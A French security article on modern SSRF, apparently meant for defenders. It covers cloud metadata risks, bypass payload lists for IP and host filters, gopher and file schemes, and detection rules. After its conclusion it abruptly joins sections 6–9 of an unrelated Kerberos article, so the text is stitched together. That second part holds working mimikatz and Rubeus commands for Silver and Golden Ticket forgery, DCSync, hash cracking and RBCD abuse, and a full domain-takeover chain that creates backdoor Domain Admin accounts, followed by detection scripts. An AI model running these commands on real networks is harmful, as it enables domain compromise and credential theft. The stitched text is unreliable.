SSRF moderne (IMDSv2, gopher/file, URL parser quirks)

Résumé exécutif

Les attaques Server-Side Request Forgery (SSRF) évoluent avec les architectures cloud et les microservices. Les attaquants exploitent des fonctionnalités de fetch côté serveur pour accéder à des ressources internes : metadata services (IMDSv2), endpoints internes, caches, Cloud Functions. Les vecteurs utilisent des schémas variés (http, gopher, file, dict) et tirent parti de subtilités dans les parsers URL, des redirections et de la mixité IPv4/IPv6. Cet article explore les caractéristiques des SSRF modernes, les scénarios de compromission (extraction secrets IMDSv2, pivot interne), et propose des stratégies de détection (SIEM, WAF) et de protection côté infrastructure et application. L’objectif est d’offrir un guide pratique aux équipes AppSec, cloud et SecOps.

Comprendre la SSRF

La SSRF permet à un attaquant d’induire une application à effectuer des requêtes HTTP (ou autres protocoles) vers une destination choisie par l’attaquant, généralement interne. Objectifs :

• Lire des ressources internes (IMDS, Redis, memcached, admin consoles).
• Scanner le réseau interne.
• Déployer du code (via endpoints).
• Contourner l’authentification (SSO).

SSRF & Cloud : IMDS

AWS IMDSv1/v2

• IMDS (Instance Metadata Service) accessible via http://169.254.169.254.
• IMDSv1 vulnérable aux SSRF simples (GET).
• IMDSv2 requiert token (PUT).

SSRF : attaquant obtient credentials IAM (/latest/meta-data/iam/security-credentials).

GCP Metadata

• http://metadata.google.internal/computeMetadata/v1.
• Requires header Metadata-Flavor: Google.

Azure Metadata

• http://169.254.169.254/metadata/instance. Header Metadata: true.

Countermeasures

• IMDSv2 only (enforce hop limit).
• Block metadata network via firewall (Security Group).
• Use VPC Proxy.
• IAM least privilege (limit token impact).

Protocol tricks et schémas alternatifs

• gopher:// pour craft raw HTTP (ex : POST).
• file:// pour lire fichiers (si autorisé).
• dict://, ftp://, sftp://, ldap://.
• IPv6 http://[::ffff:127.0.0.1].
• http://127.0.0.1@evil.
• http://0/ => 0.0.0.0.
• http://2130706433/ (decimal IPv4).
• http://longdomain.com.evil.com.
• http://localhost#@evil.com.

URL Parser Quirks

• Libraries (Python urllib, Java URL) diff behavior.
• Double encoding %252e%252e.
• // vs /.
• Internationalized domain (IDN).

SSRF via redirections

• App fetch http://example.com/, but allow redirect to internal.
• Need to validate final destination.

SSRF blind vs non-blind

• Non-blind : réponse visible (exfil).
• Blind : pas de réponse (ex : GET request). Fuites via DNS exfil (Burp Collaborator).

SSRF et caches/proxies internes

• Access memcached/Redis via SSRF -> remote code.
• Access internal admin panels (Jenkins, Kibana).
• Cloud metadata -> escalate.

Protections côté application

1. Allowlist de domaines : définir explicitement endpoints autorisés. 2. Blocage IP internes : 127.0.0.0/8, 169.254.0.0/16, ::1, etc. 3. Resolver custom : valider résolutions DNS (pas de redirection). 4. Timeouts & méthode : limiter méthodes (GET only). 5. Validation URL : utiliser parser sécurisé (ex : Node whatwg-url). 6. Désactiver schémas dangereux (file, gopher). 7. HTTP client : follow redirects? disable. 8. Proxy : forcing requests through security proxy.

Protections côté infrastructure

• WAF : signatures SSRF (AWS WAF, Cloudflare).
• Firewall : block metadata.
• Service mesh : policy egress (Istio).
• Network segmentation : isolate metadata via proxy.
• IMDS : enforce tokens, disable if unused.
• Logging : capture egress.

Détection & Logging

• App logs : capture URL requises.
• Proxy logs : destinations internes.
• SIEM rules : requests to metadata IP.
• CloudTrail: STS tokens unusual.

KQL Example

AppRequestLogs
| where DestinationIP in ('169.254.169.254','127.0.0.1','::1')
| summarize count() by ClientIP, User

CloudWatch

• Metric filter on VPC Flow Logs for metadata IP.

Zeek signatures

• detect HTTP Host 169.254.169.254.

Bypassing mitigations

• Hop-by-hop headers (X-Forwarded-For).
• DNS rebinding : attacker control domain -> resolves to internal.
• SSRF-chains (Open redirect -> internal).
• Outbound proxies (chaining).

Cloud-specific best practices

AWS

• IMDSv2 required.
• Instance profiles with least privilege.
• Use VPC endpoints for S3 (no public).
• AWS WAF rules for SSRF.
• GuardDuty detection (exfil).

Azure

• Azure Instance Metadata Service (IMDS) firewall.
• Managed Identities -> limit scope.
• Azure WAF + Front Door.

GCP

• imds headers required.
• VPC Service Controls.
• Cloud Armor rules.

Patterns de détection (SIEM)

• Surveiller HTTP 169.254.169.254.
• Requêtes sortantes hostnames local.
• Sequence: inbound request -> internal request -> response mismatch.

Tests & validation

• Tools : Burp Collaborator, SSRFmap, gf.
• Security tests : automate scanning.

Example test (curl)

curl -s -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -X PUT http://169.254.169.254/latest/api/token

Ensure failure outside instance.

Monitoring & alerting pipeline

Response playbook

1. Alert on SSRF attempt. 2. Identify app endpoint (source). 3. Review logs (URL). 4. Check IMDS access. 5. Rotate credentials (if stolen). 6. Patch validation. 7. Update WAF.

Case studies

Capital One breach (2019)

• WAF SSRF allowed access to IMDS.
• Attacker retrieved IAM creds -> S3 data exfil.
• Lessons: WAF configuration, IMDSv2, least privilege.

SSRF on GCP (2020)

• Attackers exploited Cloud Function to query metadata.
• Response: add Metadata-Flavor check.

Jenkins SSRF

• SSRF allowed to pivot to internal Stash. Mitigation: allowlist.

Tooling for devs

• Provide safe HTTP clients with built-in allowlist.
• Use service mesh egress control (Istio ServiceEntry).

DevSecOps integration

• SAST/DAST to detect unsafe URL usage.
• Code review checklist (no raw requests.get).
• Security champions.

Tests unitaires & fuzzing

• Unit tests for URL validation.
• Fuzz with ffuf for endpoints.

Observabilité egress

• Export metrics via Prometheus (httpclienttotal).
• Alert when dest = metadata IP.

Parser safe libs

• Golang net/url -> verify ResolveReference.
• Node url.parse -> new URL.
• Java URI, URL.

Multi-layer defense

• Input validation -> WAF -> network -> IAM -> monitoring. Defense-in-depth reduces risk.

SSRF dans microservices

• Sidecar (Istio) enforce egress.
• mTLS between services.
• Envoy filters.

Training & awareness

• Developers training (OWASP).
• Incident simulation.

Conclusion

La mitigation des SSRF modernes requiert une approche multi couches combinant validation côté application, contrôles réseau, configuration sécurisée des metadata services cloud, télémétrie et détection comportementale. En alignant DevSecOps et SecOps, en testant régulièrement les surfaces SSRF et en adoptant les protections natives des cloud providers, les organisations réduisent drastiquement la probabilité d’une compromission par SSRF et ses impacts.

Cartographie des surfaces SSRF

1. Fonctionnalités de fetch : prévisualisation d’URL, webhooks, import REST. 2. Conversion de fichiers : PDF, images (URL remote). 3. SSR (Server-Side Rendering) : Next.js, Angular Universal. 4. Webhooks entrants : Slack, GitHub (SSRF via JSON). 5. Service mesh : envoy filter misconfig. 6. Services backend : SOAP clients, microservices.

Realiser un inventaire : recenser endpoints acceptant URLs, analyser code (regex http).

Patterns d’exfiltration et de pivot

• Exfil : SSRF vers S3 pre-sign, SFTP interne.
• Pivot : SSRF -> Redis -> RCE.
• Cache poisoning : SSRF -> internal cache -> user data (AWS ALB).
• Exécution : SSRF -> API interne PUT /deploy.

Analyse des bypass IP/host

Bypass IP filters

• 0.0.0.0.
• Octal 0177.0.0.1.
• Hex 0x7f000001.
• 0000::ffff:127.1.
• localhost. (with dot).
• 127.1.

Bypass host allowlist

• bank.com.evil.com.
• bank.com%00.evil.com.
• subdomain + resolve to internal.
• DNS rebinding (attacker controls DNS).

Bypass scheme

• Mixed case HtTp.
• http:// -> https.
• Using \ vs /.

Défense via DNS

• Utiliser resolver interne (walled garden).
• Bloquer résolutions vers localhost & internal.
• DNS pre-resolution + comparison.

SSRF dans containers & Kubernetes

• Pod metadata: https://kubernetes.default.svc.
• Serviceaccount token accessible via filesystem, possible exfil.
• Mitigation : RBAC, NetworkPolicy, remove serviceaccount token automount.

SSRF et service meshes

• Istio egress policy par défaut permissive.
• Config Sidecar to restrict.
• Envoy Outbound cluster restrict.

Détails IMDSv2

• Token via PUT /latest/api/token.
• X-aws-ec2-metadata-token.
• Mitigation: set hop limit >=2 to prevent remote.
• Logging: CloudWatch? Not native, rely on host logs.

Intrication avec secrets management

• Even if IMDS credentials limited, might allow S3 read. -> Use Secrets Manager or IAM Roles with least privilege.

Tools detection & scanning

• Nuclei SSRF templates.
• Burp extensions (Collaborator).
• SSRFmap -> tests protocols.

Fuzzing SSRF

• Fuzz parameter with payload list (SecLists).
• Monitor DNS (Collaborator).

Observabilité (App)

• Structured logging: {
• Les logs doivent rester exploitables (pas trop verbeux). Utiliser des attributs clés : url, destinationip, validationresult, blocked.
• Correlation via trace ID (OpenTelemetry) permet de relier SSRF attempt à requête utilisateur.

• Signatures : patterns 169.254.169.254, metadata.google.internal, gopher://.
• Anomalies : Host header = local IP.
• Rate limiting sur endpoints fetch.
• Web Application Firewall (AWS WAF, Cloudflare) propose règles SSRF (block metadata).
• WAF custom : regex .169\.254\.169\.254..

• GuardDuty détecte metadata access unusual.
• Azure Defender -> alert for suspicious metadata requests.
• GCP SCC -> metadata restrictions.

const allowedHosts = ['api.partner.com'];
const url = new URL(inputUrl);
if (!allowedHosts.includes(url.hostname)) {
  throw new Error('Host not allowed');
}
const response = await fetch(url.toString(), { method: 'GET', timeout: 2000 });

• Resolve host -> IP.
• Validate IP not private.
• After fetch, ensure response IP matches initial.
• Use dns.lookup with verbatim.
• Possibly maintain DNS allowlist with pinned IPs.

• Use Burp Collaborator to detect blind SSRF.
• Test gopher payloads: gopher://127.0.0.1:11211/stats.
• Evaluate ability to reach metadata.

• Use AWS Nitro security (IMDSv2).
• For Lambda, disable outbound internet (use VPC).
• For containers, disable CAPNETRAW.

rules:
  - id: ssrf-unvalidated-url
    pattern: |
      $FUNC($URL)
    message: "Unvalidated URL fetch"
    languages: [python]
    severity: WARNING
    metadata:
      references: ["https://owasp.org/www-community/attacks/ServerSideRequestForgery"]
    pattern-not: |
      $FUNC(validateurl($URL))

func validateURL(raw string) error {
    u, err := url.Parse(raw)
    if err != nil {
        return err
    }
    if u.Scheme != "https" {
        return fmt.Errorf("scheme not allowed")
    }
    ips, err := net.LookupIP(u.Hostname())
    if err != nil {
        return err
    }
    for , ip := range ips {
        if isPrivate(ip) {
            return fmt.Errorf("IP %s not allowed", ip)
        }
    }
    return nil
}

• Service SSRF-safe : 99.9% requests validated < 5ms.
• SSRF detection coverage : 100% endpoints instrumentés.

• Ajouter attributs ssrf.validation dans traces.
• Export vers Jaeger.
• Créer alerte sur validation failure.

AzureDiagnostics
| where Category == "ApplicationGatewayAccessLog"
| where requestUris has "169.254.169.254"
| summarize count() by clientIPs, requestUris, bin(TimeGenerated, 1h)

• Terraform awsssmdocument to run curl tests on instances verifying metadata blocked.
• Kubernetes NetworkPolicy e2e tests (conftest).

(http.request.uri contains "169.254.169.254") or (http.request.fulluri matches "(?i)gopher://")

• Libraries (wkhtmltopdf) fetch remote images. Configure --disable-local-file-access and --restricted.

• ImageMagick convert can fetch remote. Use policy.xml rights="None" for HTTP.

• # SSRF vulnerabilities found via SAST.
• Time to remediate.
• Coverage of Unit tests.

• Go <1.17 double slash bug.
• JavaSSRF -> URL vs URI mismatch.
• Node url.parse vs new URL.
• Provide patch matrix.

• Create script to log metadata access.
• Example: if (aggressive && c$http$host == "169.254.169.254").

• Monitor CloudTrail: new STS tokens used outside expected region.
• GuardDuty UnauthorizedAccess:IAMUser/SuccessfulUnusual.

• Query logs for X-aws-ec2-metadata-token.
• Loock for unusual User-Agent on metadata request.

• 1h workshop covering SSRF.
• Live coding of safe wrappers.
• Exercises with OWASP Juice Shop.

• OPA Gatekeeper: ensure NetworkPolicy forbids metadata.
• Terraform sentinel: block instancemetadataoptions.httptokens = optional.

• API that accepts targeturl. Validate with API Gateway.
• Use API Gateway mapping to enforce allowlist.

• AWS AppSync, StepFunctions -> ensure integration patterns not expose SSRF.
• Azure Logic Apps -> connectors.

• Use CSPM to check IMDS settings.
• AWS Config rule ec2-instance-metadata-options.

• Use Pre-commit hook to forbid requests.get without wrapper.
• eslint rule (JavaScript).

pattern = r"169\.254\.169\.254|metadata\.google\.internal|gopher://|file://"

• Setup iptables dropping metadata IP for specific workloads.
• Use cloud-init.

• Dashboard: ssrfattempts gauge.
• Alert when > threshold.

• Exposer métriques : ssrfblockedcount, allowedrequests.

Use case detection ML

1. Données : 6 mois logs. 2. Labelling via heuristics. 3. Model XGBoost. 4. Déploiement -> streaming. 5. Feedback via analystes -> active learning.

Workflow de correction

• Ticket JIRA (SSC).
• Priorité haute.
• Fix includes tests.

Collaboration avec product management

• Evaluer l’impact business d’une allowlist stricte.
• Communiquer limites (ex pas possible de fetch n’importe quel site).

Archi Zero Trust

• Identity aware proxy pour toutes sorties.
• Policy based on service identity.

SSRF et IA générative

• Si LLM appelle ressources via URL, même problématique (validate!).

Observabilité temps réel

• Stream logs vers Azure Event Hub.
• Process via Azure Stream Analytics.

Table de mapping controls vs exigences

| Contrôle | Description | Couverture | Evidence | |----------|-------------|-----------|----------| | Allowlist | Liste de domaines approuvés | 100% | config repo | | IMDSv2 enforced | Instances production | 95% | AWS Config reports | | WAF SSRF rule | Actif | 100% | WAF console | | Logging | App logs centralisés | 100% | SIEM dashboards |

Futurs investissements

• Développer un SDK sécurité standard pour HTTP.
• Accroître l’usage de service mesh.
• Implémenter analyses ML plus fines.

Résumé final

SSRF reste l’un des vecteurs les plus critiques dans les environnements cloud et microservices. Une stratégie efficace combine :

• Prévention : validations robustes, allowlists, protocole restreint, désactivation de redirections.
• Protection cloud : IMDSv2, segmentation, service mesh, politiques IAM minimales.
• Détection : logging détaillé, SIEM, WAF, analytics comportementales.
• Réponse : runbooks, rotation de secrets, post-mortems blameless.
• Culture : formation, guidelines, DevSecOps.

En maintenant ce cycle de prévention/détection/réponse, les organisations réduisent drastiquement le risque SSRF.

La vigilance continue, le suivi des tendances et l’amélioration permanente des contrôles garantissent que les applications resteront résilientes face aux nouvelles variantes SSRF. L’adoption d’outils partagés, la revue régulière des métriques et la coordination entre équipes cloud, AppSec et SecOps demeurent essentielles pour conserver cette posture de sécurité. Ajouter, tester, itérer, partager, répéter. Sécurité.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled